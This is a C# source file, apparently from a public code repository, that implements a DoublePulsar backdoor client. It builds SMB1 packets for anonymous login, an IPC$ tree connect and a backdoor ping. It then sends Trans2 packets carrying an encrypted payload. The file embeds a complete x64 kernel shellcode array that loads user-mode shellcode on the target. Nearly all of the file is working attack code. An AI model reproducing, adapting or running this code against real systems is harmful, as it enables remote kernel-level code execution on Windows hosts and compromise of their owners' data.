-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathDoublepulsar_UploadShellcode.cs
1107 lines (963 loc) · 47.9 KB
/
Doublepulsar_UploadShellcode.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Text;
/* Sources used:
https://github.com/povlteksttv/Eternalblue/blob/master/Eternalblue/Program.cs
https://github.com/HynekPetrak/doublepulsar-detection-csharp/blob/master/DoublepulsarDetectionLib/DetectDoublePulsar.cs
https://github.com/DeadmanLabs/EternalBlueScanner/blob/master/EternalBlue_Scanner/EternalBlue_Scanner/EternalBlueToolkit.cs
*/
namespace DoublePulsar
{
class Program
{
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 1)]
public struct NETBIOS_HEADER
{
public uint MessageTypeAndSize;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 1)]
public struct SMB_HEADER
{
public uint protocol;
public byte command;
public byte errorClass;
public byte _reserved;
public ushort errorCode;
public byte flags;
public ushort flags2;
public ushort PIDHigh;
public ulong SecurityFeatures;
public ushort reserved;
public ushort TID;
public ushort PIDLow;
public ushort UID;
public ushort MID;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 1)]
public struct SMB_COM_TREE_CONNECT_ANDX_REQUEST
{
public byte WordCount;
public byte AndXCommand;
public byte AndXReserved;
public ushort AndXOffset;
public ushort Flags;
public ushort PasswordLength;
public ushort ByteCount;
//SMBData added manually
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 1)]
public struct SMB_COM_SESSION_SETUP_ANDX_RESPONSE
{
public byte WordCount;
public byte AndxCommand;
public byte reserved;
public ushort AndxOffset;
public ushort action;
public ushort ByteCount;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 1)]
public struct SMB_COM_SESSION_SETUP_ANDX_REQUEST
{
public byte WordCount;
public byte AndxCommand;
public byte reserved1;
public ushort AndxOffset;
public ushort MaxBuffer;
public ushort MaxMpxCount;
public ushort VcNumber;
public uint SessionKey;
public ushort OEMPasswordLen;
public ushort UnicodePasswordLen;
public uint Reserved2;
public uint Capabilities;
public ushort ByteCount;
//SMB Data added manually
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 1)]
public struct SMB_COM_NEGOTIATE_REQUEST
{
public byte WordCount;
public ushort ByteCount;
//Dialects are added manually
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 1)]
public struct DOUBLEPULSAR_PING
{
public byte WordCount;
public ushort TotalParameterCount;
public ushort TotalDataCount;
public ushort MaxParameterCount;
public ushort MaxDataCount;
public byte MaxSetupCount;
public byte Reserved;
public ushort Flags;
public uint Timeout;
public ushort Reserved2;
public ushort ParameterCount;
public ushort ParameterOffset;
public ushort DataCount;
public ushort DataOffset;
public byte setupcount;
public byte reserved3;
public ushort subcommand;
public ushort ByteCount;
public byte padding;
//Parameters added manually
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi, Pack = 1)]
public struct SMB_COM_TRANSACTION2_SECONDARY_REQUEST
{
public byte WordCount;
public ushort TotalParameterCount;
public ushort TotalDataCount;
public ushort MaxParameterCount;
public ushort MaxDataCount;
public byte MaxSetupCount;
public byte Reserved;
public ushort Flags;
public uint Timeout;
public ushort Reserved2;
public ushort ParameterCount;
public ushort ParameterOffset;
public ushort DataCount;
public ushort DataOffset;
public byte setupcount;
public byte reserved3;
public ushort subcommand;
public ushort ByteCount;
public byte padding;
//Parameters added manually
//SMBData added manually
}
static public byte[] MakeTrans2Packet(Socket sock, ushort TID, ushort UID, byte[] param, byte[] encrypted_payload)
{
//figure this out here ??
/*
NETBIOS_HEADER NTHeader = new NETBIOS_HEADER
{
MessageTypeAndSize = 0x35100000
};*/
SMB_HEADER header = new SMB_HEADER
{
protocol = 0x424d53ff,
command = 0x33,
errorClass = 0x00,
_reserved = 0x00,
errorCode = 0x0000,
flags = 0x18,
flags2 = 0xc007,
PIDHigh = 0x0000,
SecurityFeatures = 0x0000000000000000,
reserved = 0x0000,
TID = TID,
PIDLow = 0xfeff,
UID = UID,
MID = 0x0042
};
//byte[] headerBytes = GetBytes(NTHeader).Concat(GetBytes(header)).ToArray();
byte[] headerBytes = GetBytes(header);
//uint doublepulsar_execute_timeout_command = 0x001a8925;
//doublepulsar_execute_timeout_command = IPAddress.HostToNetworkOrder(doublepulsar_execute_timeout_command);
SMB_COM_TRANSACTION2_SECONDARY_REQUEST transaction2SecondaryRequest = new SMB_COM_TRANSACTION2_SECONDARY_REQUEST
{
WordCount = 15,
TotalParameterCount = 12,
TotalDataCount = 0x1000,
MaxParameterCount = 1,
MaxDataCount = 0x0000,
MaxSetupCount = 0x00,
Reserved = 0x00,
Flags = 0x00,
Timeout = 0x001a8925, // [25,89,1a0,00] in packet. 0x001a8925
Reserved2 = 0x00,
ParameterCount = 12,
//where in the packet is the location of the parameters
//(NETBIOS) + (SMB) + (transaction2SecondaryRequest) -> < PARAMETERS ARE HERE >
ParameterOffset = 0x0042, //0x0035 OR ParameterDisplacement (NETBIOS) + (SMB) + (transaction2SecondaryRequest) -> (parameters=12)
DataCount = 0, //will be updated with the values below
//where in the packet is the location of the SMBDATA
//(NETBIOS) + (SMB) + (transaction2SecondaryRequest) + (PARAMETERS) -> < SMBDATA IS HERE>
DataOffset = 0x004e, // DataDisplacement (NETBIOS) + (SMB) + (transaction2SecondaryRequest) (parameters=12) -> ( SMBData=4096 MAX)
setupcount = 1, //0x01;
reserved3 = 0x00,
subcommand = 0x000E,
ByteCount = 0, //will be updated with the values below
padding = 0x00
};
//ushort TotalDataCount = (ushort)Marshal.SizeOf(encrypted_payload);
//ushort ByteCountLocal = (ushort)TotalDataCount;
//ByteCountLocal += 13;
transaction2SecondaryRequest.TotalDataCount = (ushort)Marshal.SizeOf(encrypted_payload);
transaction2SecondaryRequest.DataCount = (ushort)Marshal.SizeOf(encrypted_payload);
int byteCountOfEncryptedPayload = Marshal.SizeOf(encrypted_payload) + 13;
transaction2SecondaryRequest.ByteCount = (ushort)byteCountOfEncryptedPayload;
//update timeout to be DoublePulsar EXEC command
//int timeout = (time * 16) + 3;
//transaction2SecondaryRequest.DataDisplacement = BitConverter.ToUInt16(new byte[] { 0xd0, BitConverter.GetBytes(timeout)[0] }, 0);
//Merge SMBHeader with the transaction2SecondaryRequest
byte[] transaction2SecondaryRequestBytes = GetBytes(transaction2SecondaryRequest);
byte[] pkt = headerBytes.Concat(transaction2SecondaryRequestBytes).ToArray();
List<byte> Parameters = new List<byte>();
Parameters.AddRange(Enumerable.Repeat((byte)0x00, 12));
//convert params to byte
byte[] paramBytes = GetBytes(param);
//copy doublepulsar parameters to parameters here
Array.Copy(paramBytes, Parameters.ToArray(), 12);
//append the parameteters to the end of pkt
pkt = pkt.Concat(Parameters.ToArray()).ToArray(); //Collect it all
//SMBData dynamic generation
int DataSize = Marshal.SizeOf(encrypted_payload);
List<byte> SMBData = new List<byte>();
SMBData.AddRange(Enumerable.Repeat((byte)0x00, DataSize));
//SMBData.AddRange(Enumerable.Repeat((byte)0x00, DataSize));
//copy doublepulsar exec data to SMBData here
Array.Copy(encrypted_payload, SMBData.ToArray(), DataSize);
//append it to the end of pkt
pkt = pkt.Concat(SMBData.ToArray()).ToArray(); //Collect it all
SendSMBMessage(sock, pkt, true);
return ReceiveSMBMessage(sock);
//return pkt;
}
static public byte[] SMB1AnonymousLogin(Socket sock)
{
SMB_HEADER header = new SMB_HEADER
{
protocol = 0x424d53ff,
command = 0x73,
errorClass = 0x00,
_reserved = 0x00,
errorCode = 0x0000,
flags = 0x18,
flags2 = 0xc007,
PIDHigh = 0x0000,
SecurityFeatures = 0x0000000000000000,
reserved = 0x0000,
TID = 0xfeff,
PIDLow = 0x0000,
UID = 0x0000,
MID = 0x0040
};
byte[] headerBytes = GetBytes(header);
SMB_COM_SESSION_SETUP_ANDX_REQUEST AndxRequest = new SMB_COM_SESSION_SETUP_ANDX_REQUEST
{
WordCount = 0x0d,
AndxCommand = 0xff,
reserved1 = 0x00,
AndxOffset = 0x0088,
MaxBuffer = 0x1104,
MaxMpxCount = 0x00a0,
VcNumber = 0x0000,
SessionKey = 0x00000000,
OEMPasswordLen = 0x0001,
UnicodePasswordLen = 0x0000,
Reserved2 = 0x00000000,
Capabilities = 0x000000d4
};
List<byte> SMBData = new List<byte>();
byte[] nulls = { 0x00, 0x00, 0x00, 0x00, 0x00 };
SMBData.AddRange(nulls);
SMBData.AddRange(Encoding.UTF8.GetBytes("W\0i\0n\0d\0o\0w\0s\0 \02\00\00\00\0 \02\01\09\05\0\0\0"));
SMBData.AddRange(Encoding.UTF8.GetBytes("W\0i\0n\0d\0o\0w\0s\0 \02\00\00\00\0 \05\0.\00\0\0\0"));
AndxRequest.ByteCount = (ushort)SMBData.Count;
byte[] AndxRequestBytes = GetBytes(AndxRequest).Concat(SMBData.ToArray()).ToArray();
byte[] pkt = headerBytes.Concat(AndxRequestBytes).ToArray();
SendSMBMessage(sock, pkt, true);
return ReceiveSMBMessage(sock);
}
static public byte[] TreeConnectAndXRequest(string target, Socket sock, ushort UID)
{
SMB_HEADER header = new SMB_HEADER
{
protocol = 0x424d53ff,
command = 0x75,
errorClass = 0x00,
_reserved = 0x00,
errorCode = 0x0000,
flags = 0x18,
flags2 = 0x2001,
PIDHigh = 0x0000,
SecurityFeatures = 0x0000000000000000,
reserved = 0x0000,
TID = 0xfeff,
PIDLow = 0x4b2f,
UID = UID,
MID = 0x5ec5
};
byte[] headerBytes = GetBytes(header);
SMB_COM_TREE_CONNECT_ANDX_REQUEST treeConnectAndxRequest = new SMB_COM_TREE_CONNECT_ANDX_REQUEST
{
WordCount = 0x04,
AndXCommand = 0xff,
AndXReserved = 0x00,
AndXOffset = 0x0000,
Flags = 0x0000,
PasswordLength = 0x0001,
};
byte[] PathServiceBytes = Encoding.ASCII.GetBytes(@"\\" + target + @"\IPC$" + "\0?????\0");
List<byte> SMBData = new List<byte>();
SMBData.Add(0x00); //Password
SMBData.AddRange(PathServiceBytes); //Path + Service
treeConnectAndxRequest.ByteCount = (ushort)SMBData.Count;
byte[] TreeConnectAndxRequestBytes = GetBytes(treeConnectAndxRequest).Concat(SMBData.ToArray()).ToArray();
byte[] pkt = headerBytes.Concat(TreeConnectAndxRequestBytes).ToArray();
SendSMBMessage(sock, pkt, true);
return ReceiveSMBMessage(sock);
}
static public byte[] DoublepulsarPingRequest(Socket sock, ushort UID, ushort TID)
{
SMB_HEADER header = new SMB_HEADER
{
protocol = 0x424d53ff,
command = 0x32,
errorClass = 0x00,
_reserved = 0x00,
errorCode = 0x0000,
flags = 0x18,
flags2 = 0xc007,
PIDHigh = 0x0000,
SecurityFeatures = 0x0000000000000000,
reserved = 0x0000,
TID = TID, /*0xfeff*/
PIDLow = 0xfeff, /* 0x4b2f */
UID = UID,
MID = 0x0041
};
byte[] headerBytes = GetBytes(header);
DOUBLEPULSAR_PING ping = new DOUBLEPULSAR_PING
{
WordCount = 15,
TotalParameterCount = 0x0C,
TotalDataCount = 0x0000,
MaxParameterCount = 0x0100,
MaxDataCount = 0x0000,
MaxSetupCount = 0x00,
Reserved = 0x00,
Flags = 0x0000,
//timeout = SWAP_WORD(0x0134ee00),
Timeout = 0x00ee3401,
Reserved2 = 0x0000,
ParameterCount = 0x0C,
ParameterOffset = 0x0042,
DataCount = 0x0000,
DataOffset = 0x004e,
setupcount = 1,
reserved3 = 0x00,
subcommand = 0x000e,
ByteCount = 0xD,
padding = 0x00
};
List<byte> Parameters = new List<byte>();
Parameters.AddRange(Enumerable.Repeat((byte)0x00, 12));
byte[] paramz = Parameters.ToArray();
//byte[] DoublepulsarPINGPKT = GetBytes(ping).Concat(Parameters.ToArray()).ToArray();
byte[] DoublepulsarPINGPKT = GetBytes(ping).ToArray();
byte[] pkt = headerBytes.Concat(DoublepulsarPINGPKT).ToArray();
pkt = pkt.Concat(paramz.ToArray()).ToArray();
SendSMBMessage(sock, pkt, true);
return ReceiveSMBMessage(sock);
}
static public byte[] MakeKernelShellcode()
{
byte[] shellcode = {
0xB9,0x82,0x00,0x00,0xC0,0x0F,0x32,0x48,0xBB,0xF8,0x0F,0xD0,0xFF,0xFF,0xFF,0xFF,
0xFF,0x89,0x53,0x04,0x89,0x03,0x48,0x8D,0x05,0x0A,0x00,0x00,0x00,0x48,0x89,0xC2,
0x48,0xC1,0xEA,0x20,0x0F,0x30,0xC3,0x0F,0x01,0xF8,0x65,0x48,0x89,0x24,0x25,0x10,
0x00,0x00,0x00,0x65,0x48,0x8B,0x24,0x25,0xA8,0x01,0x00,0x00,0x50,0x53,0x51,0x52,
0x56,0x57,0x55,0x41,0x50,0x41,0x51,0x41,0x52,0x41,0x53,0x41,0x54,0x41,0x55,0x41,
0x56,0x41,0x57,0x6A,0x2B,0x65,0xFF,0x34,0x25,0x10,0x00,0x00,0x00,0x41,0x53,0x6A,
0x33,0x51,0x4C,0x89,0xD1,0x48,0x83,0xEC,0x08,0x55,0x48,0x81,0xEC,0x58,0x01,0x00,
0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x48,0x89,0x9D,0xC0,0x00,0x00,0x00,
0x48,0x89,0xBD,0xC8,0x00,0x00,0x00,0x48,0x89,0xB5,0xD0,0x00,0x00,0x00,0x48,0xA1,
0xF8,0x0F,0xD0,0xFF,0xFF,0xFF,0xFF,0xFF,0x48,0x89,0xC2,0x48,0xC1,0xEA,0x20,0x48,
0x31,0xDB,0xFF,0xCB,0x48,0x21,0xD8,0xB9,0x82,0x00,0x00,0xC0,0x0F,0x30,0xFB,0xE8,
0x38,0x00,0x00,0x00,0xFA,0x65,0x48,0x8B,0x24,0x25,0xA8,0x01,0x00,0x00,0x48,0x83,
0xEC,0x78,0x41,0x5F,0x41,0x5E,0x41,0x5D,0x41,0x5C,0x41,0x5B,0x41,0x5A,0x41,0x59,
0x41,0x58,0x5D,0x5F,0x5E,0x5A,0x59,0x5B,0x58,0x65,0x48,0x8B,0x24,0x25,0x10,0x00,
0x00,0x00,0x0F,0x01,0xF8,0xFF,0x24,0x25,0xF8,0x0F,0xD0,0xFF,0x56,0x41,0x57,0x41,
0x56,0x41,0x55,0x41,0x54,0x53,0x55,0x48,0x89,0xE5,0x66,0x83,0xE4,0xF0,0x48,0x83,
0xEC,0x20,0x4C,0x8D,0x35,0xE3,0xFF,0xFF,0xFF,0x65,0x4C,0x8B,0x3C,0x25,0x38,0x00,
0x00,0x00,0x4D,0x8B,0x7F,0x04,0x49,0xC1,0xEF,0x0C,0x49,0xC1,0xE7,0x0C,0x49,0x81,
0xEF,0x00,0x10,0x00,0x00,0x49,0x8B,0x37,0x66,0x81,0xFE,0x4D,0x5A,0x75,0xEF,0x41,
0xBB,0x5C,0x72,0x11,0x62,0xE8,0x18,0x02,0x00,0x00,0x48,0x89,0xC6,0x48,0x81,0xC6,
0x08,0x03,0x00,0x00,0x41,0xBB,0x7A,0xBA,0xA3,0x30,0xE8,0x03,0x02,0x00,0x00,0x48,
0x89,0xF1,0x48,0x39,0xF0,0x77,0x11,0x48,0x8D,0x90,0x00,0x05,0x00,0x00,0x48,0x39,
0xF2,0x72,0x05,0x48,0x29,0xC6,0xEB,0x08,0x48,0x8B,0x36,0x48,0x39,0xCE,0x75,0xE2,
0x49,0x89,0xF4,0x31,0xDB,0x89,0xD9,0x83,0xC1,0x04,0x81,0xF9,0x00,0x00,0x01,0x00,
0x0F,0x8D,0x66,0x01,0x00,0x00,0x4C,0x89,0xF2,0x89,0xCB,0x41,0xBB,0x66,0x55,0xA2,
0x4B,0xE8,0xBC,0x01,0x00,0x00,0x85,0xC0,0x75,0xDB,0x49,0x8B,0x0E,0x41,0xBB,0xA3,
0x6F,0x72,0x2D,0xE8,0xAA,0x01,0x00,0x00,0x48,0x89,0xC6,0xE8,0x50,0x01,0x00,0x00,
0x41,0x81,0xF9,0xBF,0x77,0x1F,0xDD,0x75,0xBC,0x49,0x8B,0x1E,0x4D,0x8D,0x6E,0x10,
0x4C,0x89,0xEA,0x48,0x89,0xD9,0x41,0xBB,0xE5,0x24,0x11,0xDC,0xE8,0x81,0x01,0x00,
0x00,0x6A,0x40,0x68,0x00,0x10,0x00,0x00,0x4D,0x8D,0x4E,0x08,0x49,0xC7,0x01,0x00,
0x10,0x00,0x00,0x4D,0x31,0xC0,0x4C,0x89,0xF2,0x31,0xC9,0x48,0x89,0x0A,0x48,0xF7,
0xD1,0x41,0xBB,0x4B,0xCA,0x0A,0xEE,0x48,0x83,0xEC,0x20,0xE8,0x52,0x01,0x00,0x00,
0x85,0xC0,0x0F,0x85,0xC8,0x00,0x00,0x00,0x49,0x8B,0x3E,0x48,0x8D,0x35,0xE9,0x00,
0x00,0x00,0x31,0xC9,0x66,0x03,0x0D,0xD7,0x01,0x00,0x00,0x66,0x81,0xC1,0xF9,0x00,
0xF3,0xA4,0x48,0x89,0xDE,0x48,0x81,0xC6,0x08,0x03,0x00,0x00,0x48,0x89,0xF1,0x48,
0x8B,0x11,0x4C,0x29,0xE2,0x51,0x52,0x48,0x89,0xD1,0x48,0x83,0xEC,0x20,0x41,0xBB,
0x26,0x40,0x36,0x9D,0xE8,0x09,0x01,0x00,0x00,0x48,0x83,0xC4,0x20,0x5A,0x59,0x48,
0x85,0xC0,0x74,0x18,0x48,0x8B,0x80,0xC8,0x02,0x00,0x00,0x48,0x85,0xC0,0x74,0x0C,
0x48,0x83,0xC2,0x4C,0x8B,0x02,0x0F,0xBA,0xE0,0x05,0x72,0x05,0x48,0x8B,0x09,0xEB,
0xBE,0x48,0x83,0xEA,0x4C,0x49,0x89,0xD4,0x31,0xD2,0x80,0xC2,0x90,0x31,0xC9,0x41,
0xBB,0x26,0xAC,0x50,0x91,0xE8,0xC8,0x00,0x00,0x00,0x48,0x89,0xC1,0x4C,0x8D,0x89,
0x80,0x00,0x00,0x00,0x41,0xC6,0x01,0xC3,0x4C,0x89,0xE2,0x49,0x89,0xC4,0x4D,0x31,
0xC0,0x41,0x50,0x6A,0x01,0x49,0x8B,0x06,0x50,0x41,0x50,0x48,0x83,0xEC,0x20,0x41,
0xBB,0xAC,0xCE,0x55,0x4B,0xE8,0x98,0x00,0x00,0x00,0x31,0xD2,0x52,0x52,0x41,0x58,
0x41,0x59,0x4C,0x89,0xE1,0x41,0xBB,0x18,0x38,0x09,0x9E,0xE8,0x82,0x00,0x00,0x00,
0x4C,0x89,0xE9,0x41,0xBB,0x22,0xB7,0xB3,0x7D,0xE8,0x74,0x00,0x00,0x00,0x48,0x89,
0xD9,0x41,0xBB,0x0D,0xE2,0x4D,0x85,0xE8,0x66,0x00,0x00,0x00,0x48,0x89,0xEC,0x5D,
0x5B,0x41,0x5C,0x41,0x5D,0x41,0x5E,0x41,0x5F,0x5E,0xC3,0xE9,0xB5,0x00,0x00,0x00,
0x4D,0x31,0xC9,0x31,0xC0,0xAC,0x41,0xC1,0xC9,0x0D,0x3C,0x61,0x7C,0x02,0x2C,0x20,
0x41,0x01,0xC1,0x38,0xE0,0x75,0xEC,0xC3,0x31,0xD2,0x65,0x48,0x8B,0x52,0x60,0x48,
0x8B,0x52,0x18,0x48,0x8B,0x52,0x20,0x48,0x8B,0x12,0x48,0x8B,0x72,0x50,0x48,0x0F,
0xB7,0x4A,0x4A,0x45,0x31,0xC9,0x31,0xC0,0xAC,0x3C,0x61,0x7C,0x02,0x2C,0x20,0x41,
0xC1,0xC9,0x0D,0x41,0x01,0xC1,0xE2,0xEE,0x45,0x39,0xD9,0x75,0xDA,0x4C,0x8B,0x7A,
0x20,0xC3,0x4C,0x89,0xF8,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x89,0xC2,0x8B,
0x42,0x3C,0x48,0x01,0xD0,0x8B,0x80,0x88,0x00,0x00,0x00,0x48,0x01,0xD0,0x50,0x8B,
0x48,0x18,0x44,0x8B,0x40,0x20,0x49,0x01,0xD0,0x48,0xFF,0xC9,0x41,0x8B,0x34,0x88,
0x48,0x01,0xD6,0xE8,0x78,0xFF,0xFF,0xFF,0x45,0x39,0xD9,0x75,0xEC,0x58,0x44,0x8B,
0x40,0x24,0x49,0x01,0xD0,0x66,0x41,0x8B,0x0C,0x48,0x44,0x8B,0x40,0x1C,0x49,0x01,
0xD0,0x41,0x8B,0x04,0x88,0x48,0x01,0xD0,0x5E,0x59,0x5A,0x41,0x58,0x41,0x59,0x41,
0x5B,0x41,0x53,0xFF,0xE0,0x56,0x41,0x57,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x20,
0x41,0xBB,0xDA,0x16,0xAF,0x92,0xE8,0x4D,0xFF,0xFF,0xFF,0x31,0xC9,0x51,0x51,0x51,
0x51,0x41,0x59,0x4C,0x8D,0x05,0x1A,0x00,0x00,0x00,0x5A,0x48,0x83,0xEC,0x20,0x41,
0xBB,0x46,0x45,0x1B,0x22,0xE8,0x68,0xFF,0xFF,0xFF,0x48,0x89,0xEC,0x5D,0x41,0x5F,
0x5E,0xC3};
return shellcode;
}
static public byte[] MakeKernelUserPayload(byte[] ring3)
{
byte[] shellcode = MakeKernelShellcode();
byte[] length = BitConverter.GetBytes((UInt16)ring3.Length);
shellcode = shellcode.Concat(length).ToArray();
shellcode = shellcode.Concat(ring3).ToArray();
return shellcode;
}
static public SMB_HEADER SMB_HeaderFromBytes(byte[] arr)
{
SMB_HEADER str = new SMB_HEADER();
int size = Marshal.SizeOf(str);
IntPtr ptr = Marshal.AllocHGlobal(size);
Marshal.Copy(arr, 0, ptr, size);
str = (SMB_HEADER)Marshal.PtrToStructure(ptr, str.GetType());
Marshal.FreeHGlobal(ptr);
return str;
}
public static string HexDump(byte[] bytes, int bytesPerLine = 16)
{
if (bytes == null) return "<null>";
int bytesLength = bytes.Length;
char[] HexChars = "0123456789ABCDEF".ToCharArray();
int firstHexColumn =
8 // 8 characters for the address
+ 3; // 3 spaces
int firstCharColumn = firstHexColumn
+ bytesPerLine * 3 // - 2 digit for the hexadecimal value and 1 space
+ (bytesPerLine - 1) / 8 // - 1 extra space every 8 characters from the 9th
+ 2; // 2 spaces
int lineLength = firstCharColumn
+ bytesPerLine // - characters to show the ascii value
+ Environment.NewLine.Length; // Carriage return and line feed (should normally be 2)
char[] line = (new String(' ', lineLength - 2) + Environment.NewLine).ToCharArray();
int expectedLines = (bytesLength + bytesPerLine - 1) / bytesPerLine;
StringBuilder result = new StringBuilder(expectedLines * lineLength);
for (int i = 0; i < bytesLength; i += bytesPerLine)
{
line[0] = HexChars[(i >> 28) & 0xF];
line[1] = HexChars[(i >> 24) & 0xF];
line[2] = HexChars[(i >> 20) & 0xF];
line[3] = HexChars[(i >> 16) & 0xF];
line[4] = HexChars[(i >> 12) & 0xF];
line[5] = HexChars[(i >> 8) & 0xF];
line[6] = HexChars[(i >> 4) & 0xF];
line[7] = HexChars[(i >> 0) & 0xF];
int hexColumn = firstHexColumn;
int charColumn = firstCharColumn;
for (int j = 0; j < bytesPerLine; j++)
{
if (j > 0 && (j & 7) == 0) hexColumn++;
if (i + j >= bytesLength)
{
line[hexColumn] = ' ';
line[hexColumn + 1] = ' ';
line[charColumn] = ' ';
}
else
{
byte b = bytes[i + j];
line[hexColumn] = HexChars[(b >> 4) & 0xF];
line[hexColumn + 1] = HexChars[b & 0xF];
line[charColumn] = asciiSymbol(b);
}
hexColumn += 3;
charColumn++;
}
result.Append(line);
}
return result.ToString();
}
static char asciiSymbol(byte val)
{
if (val < 32) return '.'; // Non-printable ASCII
if (val < 127) return (char)val; // Normal ASCII
// Handle the hole in Latin-1
if (val == 127) return '.';
if (val < 0x90) return "€.‚ƒ„…†‡ˆ‰Š‹Œ.Ž."[val & 0xF];
if (val < 0xA0) return ".‘’“”•–—˜™š›œ.žŸ"[val & 0xF];
if (val == 0xAD) return '.'; // Soft hyphen: this symbol is zero-width even in monospace fonts
return (char)val; // Normal Latin-1
}
static public byte[] ClientNegotiate(Socket sock)
{
SMB_HEADER header = new SMB_HEADER
{
protocol = 0x424d53ff,
command = 0x72,
errorClass = 0x00,
_reserved = 0x00,
errorCode = 0x0000,
flags = 0x18,
flags2 = 0x2801,
PIDHigh = 0x0000,
SecurityFeatures = 0x0000000000000000,
reserved = 0x0000,
TID = 0x0000,
PIDLow = 0x4b2f,
UID = 0x0000,
MID = 0x5ec5
};
byte[] headerBytes = GetBytes(header);
SMB_COM_NEGOTIATE_REQUEST req = new SMB_COM_NEGOTIATE_REQUEST
{
WordCount = 0x00
};
List<byte> dialects = new List<byte>();
dialects.AddRange(Encoding.UTF8.GetBytes("\x2LANMAN1.0\0"));
dialects.AddRange(Encoding.UTF8.GetBytes("\x2LM1.2X002\0"));
dialects.AddRange(Encoding.UTF8.GetBytes("\x2NT LANMAN 1.0\0"));
dialects.AddRange(Encoding.UTF8.GetBytes("\x2NT LM 0.12\0"));
req.ByteCount = (ushort)dialects.Count;
byte[] negotitateRequest = GetBytes(req).Concat(dialects.ToArray()).ToArray();
string hex = BitConverter.ToString(negotitateRequest);
byte[] pkt = headerBytes.Concat(negotitateRequest).ToArray();
SendSMBMessage(sock, pkt, true);
return ReceiveSMBMessage(sock);
}
static public byte[] SetNetBiosHeader(byte[] pkt)
{
uint size = (uint)pkt.Length;
byte[] intBytes = BitConverter.GetBytes(size).Reverse().ToArray();
NETBIOS_HEADER netbios_header = new NETBIOS_HEADER();
netbios_header.MessageTypeAndSize = BitConverter.ToUInt32(intBytes, 0);
byte[] netbios_header_packet = GetBytes(netbios_header);
byte[] fullMessage = netbios_header_packet.Concat(pkt).ToArray();
return fullMessage;
}
